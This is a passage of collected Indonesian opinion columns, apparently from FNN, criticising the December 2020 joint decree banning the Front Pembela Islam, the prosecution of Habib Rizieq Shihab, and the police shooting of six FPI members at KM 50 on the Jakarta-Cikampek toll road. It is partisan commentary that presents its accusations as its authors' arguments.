membanggakan di eranya. Bagaimana tidak. Kendati tahu bahwa UUD tidak mengatur pembatasan berapa kali seseorang memangku jabatan Presiden Amerika, namun George Washinton tak mau menjabat untuk ketiga kalinya. Hebat sekali dia. Begitulah kalau negarawan yang memimpin bangsanya. Mereka bukan negarawan kaleng-kaleng, odong-odong dan beleng-beleng. Mereka tak tergoda dengan apa yang ilmuan politik sebut d Idea of Power. Jangan lupa kekuasaan itu sangat menggiurkan. Kekuasaan itu gurih. Kekuasaan punya daya tarik, daya goda untuk digenggam selama-lamanya, dengan cara apa saja. Susilo Bambang Yudhoyono (SBY), Habibie, Megawati dan Gus Dur juga memenuhi klasifikasi negarawan hebat itu. SBY misalnya, sepajang pemerintahan yang sepuluh tahun itu, tak melukai orang-orang yang berbeda ekspektasi politik dengan beliau. SBY tidak menggunakan polisi untuk menjebloskan para aktivis yang berseberangan dengannya ke penjara. Kendati berasal dunia tentara, SBY tentu saja sangat tahu tuntutan hakiki demokrasi. SBY mampu mengisi dan menghidupkan tuntutan demokrasi tersebut. Para aktivis kritis era SBY seperti tokoh Malari Hariman Siregar (Gerakan Cabut Mandat), Rizal Ramly (Rumah Perubahan), Adhi Masardi (Gerakan Idonesia Bersih), Adian Nepitupulu (Bendera), Mashinton Pasaribu (Repdem), Haris Rusly Moti (Petisi 28 dan Doekoen Coffe), dan Goerge Adi Tjondro (Buku Gurita Cikeas Seri Satu dan Dua). Bahkan, buku George Adi Tjondro dijawab lagi oleh kubunya SBY dengan membuat buku tandingan. SBY bukan melawan para aktivis dengan penangkapan dan krimilinalisasi. Namun dengan operasi intelijen. Walaupun demikian, nasib buruk menimpa sejumlah aktivis yang berdemo membawa karbau besar dan gemuk di Bundaran Hotel Indondesia bertuliskan “SiBuYa”. Mereka semua yang terlibat aksi demo sapi “SiBuYa” ketika itu kini telah meninggal dunia. Bagitu juga dengan peristiwa Bom Bali, yang sangat menggemparkan dunia tersebut. Menggemparkan dunia, karena tidak kurang dari 200 orang yang mati dalam peristiwa yang membuat semua manusia normal marah itu. Sebagian besar dari korban yang meninggal itu adalah warga negara asing. Namun tidak satupun pelaku Bom Bali yang ditembak mati oleh petugas dalam operasi penangkapan. Peristiwa Bom Bali terjadi di eranya Presiden Megawati. Namun semua tahapan proses hukumnya, sampai dengan perintah eksekusi mati terjadi di eranya SBY berkuasa. Para pelaku Bom Bali yang dieksekusi mati, telah mendapat mandat hukum dari negara melalu perintah resmi lembaga peradilan. Bukan seperti peristiwa tragis yang terjadi pada 6 (enam) anggota Laskar Front Pembela Islam (FPI) yang ditembak mati oleh petugas polisi di kilometer 50 Tol Jakarta-Cikampek. Semua tahapan proses hukum Bom Bali di lewati sampai di ujung. Sampai dengan para pelaku mengajukan Peninjauan Kembali yang ditolak oleh Mehkamah Agung. Bahkan sebelum dieksekusi mati, para pelakuknya masih diberikan kesempatan negara untuk menyampaikan permintaan terakhir kepada para keluarga yang akan ditinggalkan. Permintaan terakhir itu pun sebagian besar dikabulkan oleh negara. Peristiwa Bom Bali ini, penyelenggara negara memperlihatkan kepada dunia kalau Indonesia benar-benar negara hukum (rechtstaat). Bukan negara yang menyalahgunakan kekuasaan (a bus de droit). Namun nagara yang memastikan semua asas dalam due process of law berjalan pada relnya. Densus 88 Polri ketika itu belum terbentuk. Yang ada hanya Satgas Anti Teror Bom (ATB) milik Polda Metro Jaya yang diperbantukan untuk mengusut pelaku Bom Bali. Sebagai negara demokrasi, proses hukum terhadap pelaku peristiwa Bom Bali sangat mengagumkan dan membanggakan. Sebab telah memperlihatkan kepada dunia bahwa Indonesia nyata-nyata sebagai negara hukum. Juga hebat dan sangat membanggakan, karena operasinya As’ad Said Ali, Wakil Kepala Badan Intelijen Negara (BIN) yang ketika itu bekerja dengan sangat senyap untuk mengkoordinir semua tahapan proses hukum pelaku Bom Bali. As’ad bekerjasama dengan Jendral Polisi Da’i Bachtiar, Kepolri saat itu. FPI Percaya Demokrasi Berikhtiar hanya dengan mengandalkan demokrasi itu, bukan tak bisa. Tetapi harus pandai, cermat dan cerdas dalam mengenalinya. Mengapa begitu? Sebab demokrasi selalu menyediakan argumen, dengan cara untuk menunjuk keadaan tertentu sebagai justifikasi menggerogoti dirinya sendiri. Itu terjadi di negara-negara yang dikenal sebagai mbahnya negara demokratis. Ketertiban umum atau keamanan nasional (National Security), atau national interest adalah keadaan-keadaan yang digunakan demokrasi untuk membatasi ini dan itu. Ini yang harus dicermati oleh FPI. Dan seperti biasa, pemerintah dengan semua atribut konstitusi yang mereka miliki, selalu menemukan cara menegakan pembatasan-pembatasan itu. Habes Corpus misalnya, pernah ditangguhkan oleh Abraham Linclon pada keadaan tertentu. Apakah keadaan tertentu itu cukup valid menurut akal sehat untuk ditunjuk sebagai justifikasi atau tidak? Namun dalam kenyataannya, pemerintah selalu dapat mempertahankannya. Dalil pembenarannya bisa menyusul. Itu yang dilakukan oleh Abraham Lincoln, Presiden Amerika yang ke-16 itu. Abraham Linclon menerapkannya pada saat beliau menangani perang saudara Utara-Selatan di Amerika. Presiden yang terkenal dengan government from the people, by the people and for the people itu, menangguhkan Harbes Corpus. Itu harga yang dibayar untuk usahanya mempertahankan Union Amerika. Pada masa pemerintahan Woodrow Wilson, Amerika membentuk Espionage Act 1917 dan Sedition Act 1918. Kala itu Amerika sedang terlibat dalam perang dunia pertama. Wilson yang arsitek pemerintahnya adalah Wolter Lipmann, wartawan senior penggagas dan arsitek terbentuknya Liga Bangsa-Bangsa, yang berubah menjadi Perserikan Bangsa-Bangsa (PBB) sekarang, ketika itu sedang melambungkan faham liberalism untuk dunia internasional. Sisi-sisi inilah mustinya dibaca dan dikenali betul oleh penguasa dan rezim Jokowi. Tampaknya soal ini kami memiliki kemampuan untuk membaca sisi yang sangat elastis tersebut. Sebab salah atau keliru dalam membaca sisi ini, urusan paling rumit bisa datang menjemput tiba-tiba. Mau bagaimana lagi. SKB sudah terbit, dan diumumkan kemarin. Lalu bagaimana dengan baju, Kaos dan Celana yang selama ini dipakai oleh orang-orang FPI? Apakah sekarang menjadi terlarang juga? Sehingga tak bisa untuk dipakai lagi. Namun semoga larangan itu hanya sebatas untuk berkegiatan atas nama FPI saja. Semoga tafsir penegak hukum atas larangan dalam SKB itu di lapangan, tidak melebar hingga meliputi baju, kaos dan celana. Sebab apa jadinya kalau baju, kaos dan celana yang berlogo FPI tersebut dipakai untuk Shalat di Masjid? Apakah akan ikut dilarang juga? Sehingga harus ikut terkena barang yang dirazia? Dalam kondisi pandemi corona yang semakin naik grafik penyebarannya sekarang, semua alokasi keuangan di keluarga masih diutamakan untuk membeli makanan. Untuk bisa makan dan bertahan hidup. Sekitar 70%-80% masyarakat yang punya uang hari ini, belum bisa digunakan membeli baju, kaos, celana dan kebutuhan lainnya Apapun itu SKB pembubaran dan pelarangan FPI ini punya hikmah juga. Hikmahnya adalah tindakan pemerintah bisa tak terduga sama sekali. Sementara tahun 2021, yang tinggal beberapa jam lagi ini, mungkin saja akan menjadi tahun yang penuh dengan kejutan-kejutan. Kita liat saja nanti. Wallaahu Alam Bishawab.

Pembubaran & Pelarangan FPI Mencederai "Due Process Of Law"

by M Rizal Fadillah Bandung FNN – Rabu (30/10). Orang dapat setuju atau tidak dengan kegiatan Front Pembela Islam (FPI). Akan tetapi ketidakadilan terhadap tokoh Habib Rizieq Shihab (HRS) dan FPI sangat dirasakan. Setelah pembantaian terhadap 6 (enam) anggota Laskar FPI oleh aparat polisi, kriminalisasi HRS dengan dalih hukum yang dicari-cari. Tidak sampai di situ saja. Balakngan ada upaya untuk mengganggu aset pesantren "Markaz Syari'ah" Mega Mendung. Yang terakhir sekarang adalah Surat Keputusan Bersama (SKB) enam Kemeterian dan Lembaga Negara untuk pembubaran dan pelarangan organisasi dan simbol FPI. Sejak hari ini oraganisasi dan simbol FPI dinyatakan dilarang. Atas dasar kebencian tersebut, FPI dan tokohnya telah dijadikan sebagai "musuh negara". Dengan perlakuan yang tidak adil itu, pemerintah telah mendeklarasikan diri sebagai rezim yang zalim. Siapapun penguasa yang zalim, lambat atau cepat akan menjadi musuh rakyat. Pembubaran dan pelarangan melalui SKB sangat tidak berdasar hukum dan bertentangan dengan UU Keormasan. Tampak seperti suka-suka penguasa saja. Padahal keputusan membubarkan dan melarang FPI sangat bertentangan dengan prinsip negara hukum (rechtstaat). Indonesia seperti sedang berubah ke arah dan menhukuhkan diri menjadi negara kekuasaan. Keputusan SKB enam Menteri dan Lembaga tersebut melanggar asas "due process of law" dengan meminggirkan fungsi peradilan. Meski SKB adalah bentuk hukum, akan tetapi karena digunakan tanpa melandaskan pada aturan hukum yang berlaku seperti Undang-Undang Nomor 12 Tahun 2011 Tentang Tata Urutan Perundang-Undangan, maka layak untuk dikategorikan sebagai "a bus de droit" (penyalahgunaan kekuasaan). Sementara di UU Keormasan Nomor 16 Tahun 2017 tidak mengenal membubaran dan pelarangan ormas melalui Surat Keputusan Bersama Menhukham, Mendagri, Kapolri, Menkominfo, Jaksa Agung dan Kepala Badan Nasional Penanggulangan Terorisme (BNPT). Lebih jauh kebijakan pemerintah ini merupakan tindakan inkonstitusional yang melabrak asas negara hukum (rechtstaat). Menginjak-injak harkat dan martabaty UUD 1945. Catatan buruk sejarah hukum kedua di masa Pemerintahan Jokowi dalam kaitan pembubaran ormas dengan menggunakan "kekerasan politik" bermantel hukum. Pertama, melalui Perppu saat membubarkan HTI dan kedua melalui SKB untuk membubarkan bahkan melarang simbol-simbol FPI. Khusus yang pembubaran kedua ini, gugatan yang dilakukan melalui Pengadilan Tata Usaha Negara (PTUN) sangat berpeluang untuk dimenangkan oleh kebu FPI. Bagi FPI, soal nampaknya pembubaran tidak terlalu penting. Disamping itu bisa berganti baju menjadi Front Pejuang Islam (FPI). Toh masih tetap nama FPI juga atau lainnya. Namun pembuabaran dan pelarang FPI jangan sampai membuat lengah terhadap penembakan enam anggota FPI di kilometer 50 Tol Jakarta-Cikampek. Prioritas perhatian justru harus diutamakan pada pengungkapan kejahatan HAM pembantaian enam anggota Laskar FPI. Hal ini merupakan masalah besar yang bila terbukti akan menjadi suatu kejahatan atau terorisme negara. Jokowi harus bertanggung jawab. Pembubaran dan Pelarangan FPI pada satu sisi hanya menunjukkan arogansi kekuasaan semata. Tidak lebih dari itu. Sementara keputusan bersama ini hanya jalan untuk membangun simpati kepada FPI. Akibatnya, FPI yang tadinya tidak terkalalu bersar akan semakin besar. Penulis adalah Pemerhati Politik dan Kebangsaan.

Pembubaran FPI, Penegakan Hukum Tanpa Keadilan

by Sugito Atmopawiro Jakarta, FNN - (Rabu 30/12). Penyelidikan kasus pembunuhan terhadap 6 (enam) laskar FPI oleh polisi pada 7 Desember lalu sudah nyaris terungkap. Kepolisian yang melakukan tindakan membunuh tanpa alasan hukum (unlawful killing) tersebut sebentar lagi akan dinyatakan sebagai pelanggar HAM berat oleh negara. Pelaku dan pemberi perintahnya tentu saja akan dimintakan pertanggungjawaban hukumnya, jika tidak oleh peradilan HAM domestik, ya, seyogyanya oleh peradilan pidana internasional (International Justice Court). Di tengah situasi inilah tindakan pengalihan isu (deception) dilakukan. Tiba-tiba saja tanpa ada angin, kasus sumir dan aneh tahun 2017 yang menimpa HRS kembali digelar. Kasus yang dilatari laporan polisi nomer LP/510/I/2017/PMJ/Ditreskrimsus oleh Jefri Azhar, atas beredarnya percakapan palsu seolah antara FH dan HRS di website bodong, www.baladacintarizieq.com. Sebenarnya tidak terlalu mengejutkan. Sejak kasus penembakan lascar FPI, upaya menghentikan Langkah dan kiprah HRS terus dilakukan. Menyusul PT Perkebunan Nusantara (PTPN) VIII melayangkan somasi kepada HRS agar segera mengosongkan tanah di Megamendung, Bogor, Jawa Barat yang kini dimanfaatkan sebagai Pondok Pesantren (Ponpes) Agrokultural Markaz Syariah, dan FPI diwacanakan untuk dibubarkan, kasus chat porno ini pun diungkap lagi. Seluruh permasalahan aneh ini terkait. Sulit dipahami mengapa kemudian HRS sebagai korban fitnah keji justru ditetapkan sebagai tersangka pada 29 Mei 2017 atas beredarnya konten porno yang dipastikan palsu di website tersebut. Uniknya, HRS dipersangkakan dengan Pasal 4 ayat (1) juncto Pasal 29 dan/atau Pasal 32 UU RI No 44 Tahun 2008 tentang Pornografi dan/atau Pasal 27 ayat (1) juncto Pasal 45 ayat (1) UU RI No 19 Tahun 2016 atas Perubahan UU RI No 11 Tahun 2008 tentang ITE (Informasi dan Transaksi Elektronik). Norma-norma hukum yang sejatinya dialamatkan kepada pembuat konten dan website tersebut. Penyidikan kasus ini sebenarnya sudah dihentikan oleh penerbitan Surat PErintah Penghentian Penyidikan (SP3) oleh Polda Metro Jaya tahun 2018. Alasan pemberhentian penyidian perkara ini karena kasus tersebut tidak mungkin diteruskan jika pelaku pembuat web dan konten porno itu tidak ditemukan polisi. Ironisnya kasus ini dibuka lagi dengan putusan praperadilan Pengadilan Negeri (PN) Jakarta Selatan dengan nomor perkara: 151/Pid.Prap/2020/PN.Jkt.Sel. Asal Bisa Menahan HRS Menangkap dan menahan HRS di penjara karena perbuatan menciptakan kerumunan massa di tengah pandemic Covid 19, 10 Desember lalu, tampaknya tidak cukup bagi polisi atau pihak yang menghendakinya. HRS terus dijadikan target dan selalu dicarikan alasan hukum agar bisa tetap di tahanan negara. Penegak hukum tidak lagi peduli apakah dasar dan prosedur hukum penahannya benar atau tidak. Masyarakat yg memahami hukum sebenarnya mudah sekali untuk mencerna kasus ini. Orang akan mudah memahami bahwa cara-cara yang ditempuh untuk menjerat HTS tidak lebih dari sebuah desain aksi dengan menggunakan prosedur hukum formal sehingga terkesan memenuhi aspek legal formal. Polisi berusaha mendapatkan justifikasi, yang seolah-olah dapat dibenarkan menurut hukum, dengan melalui usaha menindaklanjuti laporan dari masyarakat. Padahal para pelapor perkara ini dipastikan karena adanya usaha sengaja untuk membunuh karakter dan hak kebebasan HRS sebagai warga negara. Desain aksi atau rekayasa proses hukum dalam kasus chat porno karya si pembuat website bodong itu semata-mata untuk membangun propaganda di masyarakat agar kredibilitas HRS hancur. Tujuan akhirnya adalah agar langkah dan kiprah HRS, bersama FPI dan diikuti umat Islam simpatisan lainnya, tidak lagi bisa kritis dalam memperjuangkan amar ma'ruf nahi munkar versus kekuasaan. Desain aksi ini berbentuk tindakan seseorang atau sekelompok orang atas inisiatif sendiri, atau diperintahkan, telah membuat situs (website) bodong tanpa penanggungjawab bernama: www.baladacintarizieq.com. Konten dari web tersebut adalah potongan percakapan porno dari aplikasi WA (screenshot) yang dilakukan oleh seorang wanita dan pria. Dalam potongan percakapan porno itu, oleh pengelola web kemudian ditulis bahwa pelaku percakapan adalah HRS dan seorang wanita bernama FH. Seseorang bernama Jefri Azhar kemudian melaporkan HRS ke polisi dengan sangkaan perbuatan melawan UU Pornografi dan UU ITE. Padahal jika menggunakan dasar hukum UU Pornografi dan UU ITE yang benar dan tepat untuk tujuan penegakan hukum, maka sejatinya proses hukum melalu penyelidikan dan penyidikan ditujukan untuk: 1. Polisi terlebih dahulu mengungkapkan, menangkap dan menahan pelaku pembuat website www.baladacintarizieq.com berikut konten-konten pornografi di dalamnya; 2. Kepada pembuat web dan kontennya (uploader) kemudian dimintakan untuk mengklarifikasi kebenaran (otentisitas) konten yang ada pada website tersebut disertai dengan bukti-buktinya; 3. Apabila web dan kontennya adalah palsu maka pelaku pembuat website ini harus dimintai pertanggungjawaban hukum melalui proses peradilan dengan dasar hukum bahwa ia telah melakukan perbuatan pornografi dan penyebaran fitnah melalui dunia maya. Celakanya, apa yang dilakukan polisi justru sebaliknya. Polisi mempertontonkan kenaifan tanpa malu-malu di hadapan publik, yang seolah-olah seluruh warga negara buta hukum sehingga tidak mampu mengidentifikasi proses penegakan hukum yang fair-play. Tidak ada alasan pembenar bilamana subjek hukum yang dimintakan pertanggungjawabannya justru orang yang menjadi korban fitnah oleh web tersebut, yakni HRS. Inilah sebenarnya esensi kasus ini. FPI pun Dibubarkan Tidak cukup sampai disini saja, pada 30 Desember 2020 ini pemerintah pun secara resmi menghentikan kegiatan dan membubarkan organisasi Front Pembela Islam (FPI). Keputusan pemberhentian ini tergolong berlebihan dengan Keputusan Bersama Menteri-Menteri Negara, Kapolri, dan Jaksa Agung, yakni Mendagri Tito Karnavian, Menkum HAM Yasonna Laoly, Menkominfo Johnny G Plate, Kapolri Idham Azis, Jaksa Agung ST Burhanuddin, dan Kepala Badan Nasional Penanggulangan Terorisme (BNPT) Boy Rafly Amar dalam SKB Nomor 220/4780 Tahun 2020, Nomor M.HH/14.HH05.05 Tahun 2020, Nomor 690 Tahun 2020, Nomor 264 Tahun 2020, Nomor KB/3/XII Tahun 2020, dan Nomor 320 Tahun 2020 tentang Larangan Kegiatan Penggunaan Simbol dan Atribut Serta Penghentian Kegiatan FPI. ​Di mata penguasa negara saat ini, tampaknya FPI sangat istimewa sebagai organisasi yang dianggap musuh negara. Dengan berdalihkan, antara lain, FPI memiliki aktivitas yang mengganggu masyarakat dan terbukti terafiliasi dengan ISIS, serta tidak memperpanjang izinnya, menjadi dasar pembubarannya. Kelompok non-Islam anti FPI serta-merta berteriak girang tanda kemenangannya. Mudah-mudahan bubarnya FPI tidak menjadi peluang Gerakan Islamophobia mendapatkan anginnya di negeri ini. ​Apa pun alasannya, tampak sekali bahwa pemerintah mengambil langkah komprehensif untuk menghabisi setiap potensi kekuatan yang dimiliki HRS dalam menjalankan kegiatan mengontrol pemerintahan. Dengan bubarnya FPI dipersepsikan bahwa HRS tidak memiliki kendaraan yang terorganisir lagi dalam memobilisasi massa. Sayangnya, pemerintah melupakan satu hal, bahwa ketidakadilan dalam praktek penyelenggaraan negara dan penegakan hukum tidak sekedar berhadapan dengan FPI. Pesan Sederhana Apa yang bisa disampaikan disini adalah bahwa langkah penegakan hukum terhadap HRS ini sama sekali di luar nalar hukum dan kebenaran objektif. Polisi dengan senyatanya tidak lagi peduli dengan kebenaran materiil dan sebagainya, oleh karena tujuan sebenarnya adalah menangkap dan menahan HRS. Kasus demi kasus ini sebenarnya menjadi contoh bagi publik bahwa betapa kepolisian merupakan institusi negara yang bertindak dengan memaksakan kehendak dalam menjerat seorang warga negara agar dapat dipidana, sekali pun tanpa perbuatan melawan hukum. Kepolisian melakukan tindakan menghukum tanpa prosedur hukum yang benar (due process of law) sehingga mengingkari tujuan penegakan hukum itu sendiri, yakni kepastian hukum dan keadilan. Pertanyaannya, untuk apa penegakan hukum tanpa keadilan? Mubazir! Semua orang kini menyadari bahwa pesan di balik kasus ini sangatlah sederhana. Siapa pun yang memiliki kaliber seperti HRS, memiliki pengikut besar, dapat mempengaruhi persepsi publik untuk mendelegitimasi penguasa, akan bernasib sama dengan HRS. Hukum hanya dijadikan alat legal formal untuk mensahkan perampasan hak asasi warga negara yang selalu berekspresi menyerukan ketidakadikan negara. Siapa pun memahami pula bahwa tiada gunanya menegakkan hukum dengan cara memelintir hukum dan menghasilkan ketidakadilan. Jika fenomena ini terus berlangsung maka hukum tidak lagi ditujukan untuk menciptakan ketertiban sosial melainkan akan berujung pada kekacauan.* Penulis adalah Kuasa Hukum Habib Rizieq Shihab.

Ketika Jenazah 6 Laskar FPI Bicara (3)

By Mochamad Toha Surabaya FNN - Selasa (30/12). Kalau memang proyektil dan selongsong peluru yang ditemukan Komnas HAM adalah yang dipakai menembak 6 Laskar FPI, dalam uji balistik nanti juga bisa mengarahkan jenis senjata yang dipakai si penembaknya dan dari satuan atau unit apa. Dari sini pula akan diketahui siapa nama pemegang senjatanya. Pertanyaannya sekarang ini, beranikah Komnas HAM tanya sampai sedetail itu kepada Bareskrim Polri? Jika tidak berani menanyakannya, sebaiknya hentikan saja penyelidikannya! Karena semua yang dilakukannya selama ini akan sia-sia dan tak berguna lagi. Proyektil dan selongsong peluru itu menjadi pintu masuk untuk membuka tabir penembakan 6 laskar FPI yang saat itu mengawal Rombongan Habib Rizieq Shihab. Pasalnya, ada kejanggalan tindakan polisi di TKP, terutama di Rest Area KM 50 Tol Jakarta-Cikampek. Setidaknya, hal itu berdasarkan sumber saksi di TKP yang diliput Edy Mulyadi, wartawan FNN.co.id yang tayang juga di Bang Edy Channel. Termasuk dari hasil liputan dan investigasi Majalah TEMPO. Aparat kepolisian sejak sore sudah berada di sekitar TKP dengan banyak kendaraan dan diantaranya kendaraan patroli kepolisian berseragam resmi. Ini seolah sudah direncanakan untuk melakukan penyergapan terhadap rombongan kendaraan HRS yang akan lewat di Tol Japek. Karena, berkumpulnya mereka di situ tidak dalam rangka ada pengamanan pengguna jalan tol secara umum. Dengan kata lain, besar kemungkinan telah ada rencana penyergapan rombongan HRS yang lebih dahulu telah diselidiki lebih dahulu bahwa HRS akan lewat di jalan itu. *Kesaksian* Seperti diketahui, lokasi KM 50 itu biasa menjadi lokasi penyergapan para teroris, bandar narkoba, dan lain-lain seperti dijelaskan saksi kepada Bang Edy Channel maupun TEMPO. Apalagi, polisi yang berada di lokasi itu berpakaian preman, tidak berpakaian dinas, sehingga pihak rombongan HRS tak mengenali jika mereka adalah polisi. Sesuai rilis FPI, sehingga semula menyebutnya sebagai OTK oleh pihak rombongan HRS. Seandainya mereka berpakaian dinas dan tujuannya hanya pengamanan biasa tentu pada saat rombongan HRS lewat, polisi memberi tanda sirine kendaraan, sehingga dikenali kendaraan umum termasuk rombongan HRS “sebagai polisi yang sedang patroli”. Tetapi dalam kasus ini mereka menguntit berpakaian preman dan menghadang rombongan HRS dengan senjata laras panjang dan pistol, sebagaimana pengakuan saksi di TKP. Polisi tidak menunjukkan indentitas diri sebagai aparat. Masih berdasarkan keterangan saksi di TKP yang melihat kejadian itu, hanya 2 letusan yang terdengar dan kenyataannya ada 2 laskar tertembak yang setengah jam kemudian dibawa ke mobil ambulan. Sementara, 4 laskar lainnya yang dibawa polisi dengan kendaraan lain dalam kondisi masih hidup. Artinya, saat itu tidak terjadi tembak menembak di TKP atau korban lebih dahulu menembak polisi sebab jika ada tentu akan sangat banyak suara tembakan dan bisa saja peluru ke mana-mana. Jika hal ini benar, maka korban sesungguhnya tidak punya senjata api karena tidak ada balasan tembakan dari korban ke arah polisi. Jika kemudian dalam jumpa pers polisi menunjukkan pistol rakitan, seharusnya di TKP tentu ditemukan proyektil yang ditembakkan oleh korban untuk menyerang polisi, namun ternyata tidak ada satupun korban di pihak polisi. Menjadi pertanyaan, dari mana polisi mendapatkan pistol yang diklaim sebagai barang bukti tersebut? Ataukah memang telah dipersiapkan sebagai alibi seolah korban membawa senjata dan menyerang polisi? Yang perlu diingat dan dicatat, selain jasad laskar yang tewas itu bisa bicara, TKP bisa juga bicara dan menjadi petunjuk kalau memang ada saksi yang melihat. Tapi, berdasarkan keterangan Kapolda Metro Jaya Irjen Polisi Fadil Imrn di Polda Metro Jaya, Senin (7/12/2020), “Tidak ada anggota yang terluka.” Kerugian hanya materil. Kendaraan anggota rusak karena dipepet dan ditembaki. Jelas, hal ini tidak sinkron dengan peristiwa di TKP sebagaimana telah dijelaskan di atas, karena jelas tidak ada tembak-menembak. Ada beberapa saksi yang melihat langsung. Terkait kendaraan yang dikatakan rusak, rasanya juga agak aneh. Bagaimana kaca mobil polisi bisa tertembak, sedangkan korban sendiri tidak punya senjata, apalagi jika ditembaknya seolah mobil korban berada di depan. Sebab, kaca mobil yang tertembak itu kaca depan, bukan kaca belakang. Apalagi, titik sudut tembak pun janggal. Karena bekas peluru di dalam mobil mengarah ke bawah, tepatnya dekat handle kopling. Ini berarti kaca mobil sengaja ditembak sambil berdiri tepat di depan mobil. Apakah mungkin korban berdiri depan mobil polisi? Jika dicermati pada kendaraan polisi yang tertembak, ini tidak terkesan kendaraantersebut dipepet oleh kendaraan pengawal HRS, apalagi berbenturan. Sebab jika terjadi benturan dengan kecepatan cukup tinggi, meski disrempet tentu akibatnya cukup fatal, bahkan bisa hilang kendali. Tetapi yang terlihat pada kendaraan polisi tidak parah, hanya sedikit penyok, itu pun posisinya di atas dekat spion, bukan serudukan dari bawah. Ini juga jadi memperkuat dugaan bahwa tembakan kaca depan di mobil polisi tambah janggal. Seharusnya, jika memang ada tembak-menembak tentu saja sopir polisi bakal ditembak dari sisi kanan ketika dipepet, bukannya malah di depan kaca. Seharusnya kaca samping sopir yang tertembak! Dari kondisi fisik mobil polisi inipun sudah berbicara faktanya. Seperti yang pernah saya tulis sebelumnya, bahwa yang terjadi itu hanya “tembak-tembakan”, bukan tembak-menembak! Secara umum setiap kejadian kriminal seringkali akan ada prosedur olah TKP dan garis polisi di lokasi. Namun kenyataannya itu tidak dilakukan polisi. Bahkan, setelah membawa korban mereka langsung meninggalkan TKP dan ini pelanggaran prosedur kepolisian! (Bersambung) Penulis wartawan senior FNN.co.id

Tuan Komnas HAM, Mau Mengarah ke Mana?

Petugas menembak pakai senjata apa? Laras panjang? Atas laras pendek? Kalau empat almarhum hendak merebut senjata petugas dan mencekik petugas, bagaimana menerangkan terjadinya tembak-menembak itu. Berusaha merebut senjata, pasti tidak sama dengan telah merebut senjata. Tidak sama juga dengan senjata telah berada dalam penguasaan keempat almarhum itu. Apa logis tangan almarhum tak di borgol? Masuk akalkah mereka tak diborgol tangannya? Kalau di borgol, maka pertanyaannya adalah bagaimana menerangkan usaha mereka merebut dan mencekik petugas di dalam mobil itu? Berapa petugas yang ada di mobil itu? Apakah hanya dua orang? Andai benar para almarhum berusaha merebut senjata petugas, maka nalarnya mereka, para almarhum di dalam mobil itu tak bersenjata. Wahai Komnas HAM jujurlah. Apakah keempat almarhum mati di dalam mobil atau di tempat lain? Apa yang menghalangi Komnas HAM sehingga tidak mampu untuk berkata terus terang? Pertimbangan teknis? Kalau ya, apa justifikasinya? by Dr. Margarito Kamis, SH.M.Hum Jakarta FNN – “Proyektil itu jumlahnya tujuh. Dari tujuh itu ada satu yang kami masih belum yakin. Enam kami yakin. Selongsong jumlahnya empat. Tiga utuh, satunya (nomor 17) kami duga itu bagian belakang, kayak bagian pelatuknya itu. Tetapi kami duga yang pasti selongsong ada tiga," kata Komisioner Komnas HAM Chairul Anam kepada wartawan di Jakarta, Senin. Tambah Anam, tiga jenis barang bukti terkonfirmasi selongsong. Karena belum mengalami perubahan bentuk. Sementara, satu jenis barang bukti diduga selongsong (nomor 17) bentuknya sudah berubah karena pecah. "Apakah ini betulan bagian dari selongsong itu? Kami belum bisa menilai. Makanya kami masukkan disini dengan catatan bahwa ini belum terkonfirmasi (selongsong)", kata Anam. Lebih jauh Anam mengatakan, seluruh barang bukti, baik selongsong, proyektil, maupun serpihan bagian mobil ditemukan di sejumlah titik. Tidak di satu titik saja. Yang lebih rincinya lagi, Anam tidak mau mengungkapkan. Karena khawatir ada misinformasi dan disinformasi yang muncul sebelum pemeriksaan Laboratorium Forensik (Labfor) dan uji balistik dilakukan. "Kami tidak bisa menyebutkan titiknya dimana saja. Karena itu sedang kami cross-check ulang. Titik mana saja yang sesuai," kata Anam, (Lihat Republika.co.id, 28/12/2020). Cuma segitu kerja Komnas HAM hampir sebulan? Seringan itukah temuannya? Komnas HAM sudah oleng? Komnas HAM sudah melakukan rekonstruksi? Periksa mobil, dan periksa senjata, itu bukan rekonstruksi, apapun alasannya. Rekonstruksi itu persis seperti yang dilakukan penyidik Bareskrim. Itu baru rekonstruksi namanya. Hasil rekonstruksi telah diberitakan oleh media online. BBC News Indonesia misalnya, telah memberitakannya pada tanggal 14/12/2020. Hal-hal yang direkonstruksi sangat jelas. Enam orang almarhum itu tidak mati pada tempat yang sama. Dua orang mati di dalam mobil, lalu dibawa ke rest area, dan empat orang lain dinaikan ke mobil untuk dibawa ke Polda Metro. Keempat orang yang dibawa itu, ternyata mati juga. Mereka mati tidak di tempat yang sama dengan kedua rekannya. Menurut BBC News Indonesia, keempat orang yang dibawa dengan mobil Xenia, ditempatkan di bagian belakang. Sekitar satu kilometer dari rest area, keempat almarhum, merujuk BBC News Indonesia, berusaha merebut senjata dan mencekik petugas. Bagaimana bentuk usaha itu? Memang tidak terang dijelaskan. Namun andai benar ada usaha merebut dan mencekik petugas, maka pertanyaannya adalah apakah itu menjadi sebab mereka ditembak atau baku tembak dengan petugas di dalam mobil itu? Sudahkan ini didalami Komnas? Kalau belum, kenapa? Jumlah selongsong, dan proyektil peluru, serta serpihan-serpihan mobil, menurut Komnas HAM didapat dari beberapa titik. Ini menarik dan memiliki konsekuensi. Apakah terminologi “titik” itu menjelaskan tempat? Mengapa Komnas HAN tidak menggunakan terminologi “tempat”? Komnas harus cermat tentang “tempat” terjadi peristiwa pidana ini. Ini harus mutlak. Tidak bisa hanya menyebut “titik.” Apakah mobil dapat disamakan pengertiannya dengan “titik”? Lalu “titik” itu disamakan pengertiannya dengan tempat? Komnas HAM harus spesifik menyebutnya. Kenyataannya Komnas HAM tidak menjelaskan soal ini. Komnas juga tidak menjelaskan, misalnya, mereka menemukan atau tidak menemukan bercak darah pada mobil yang ditumpangi empat orang almarhum. Itu benar-benar mengundang tanya. Perihal jumlah selongsong dan proyektil peluru, yang telah dinyatakan oleh Komnas HAM itu, memunculkan pertanyaan sederhana lain yang wajar. Apakah satu selongsong menggambarkan satu peluru? Satu proyektil menggambarkan satu peluru? Kalau satu selongsong sama dengan satu peluru, maka nalarnya ada tujuh peluru. Setidaknya enam peluru. Begitu juga kalau satu proyektil satu peluru, maka ada tiga peluru. Kalau hanya tiga peluru, maka soalnya adalah bagaimana menerangkan fakta adanya enam orang mati? Juga bagaimana menjelaskan jumlah luka di tubuh para almarhum? Satu peluru ditembakan kepada dua orang? Itu pasti tidak logis. Mengapa? Karena rekonstruksi yang diberitakan BBC News Indonesia tanggal 14 Desember yang dikutip di atas, sangat jelas. Almarhum-almarhum itu mati di mobil yang berbeda. Apakah peluru yang sama dan selongsong yang sama dipakai ditempat yang berbeda? Tidak logis itu Komnas HAM. Apakah selosongsong-selongson itu, juga 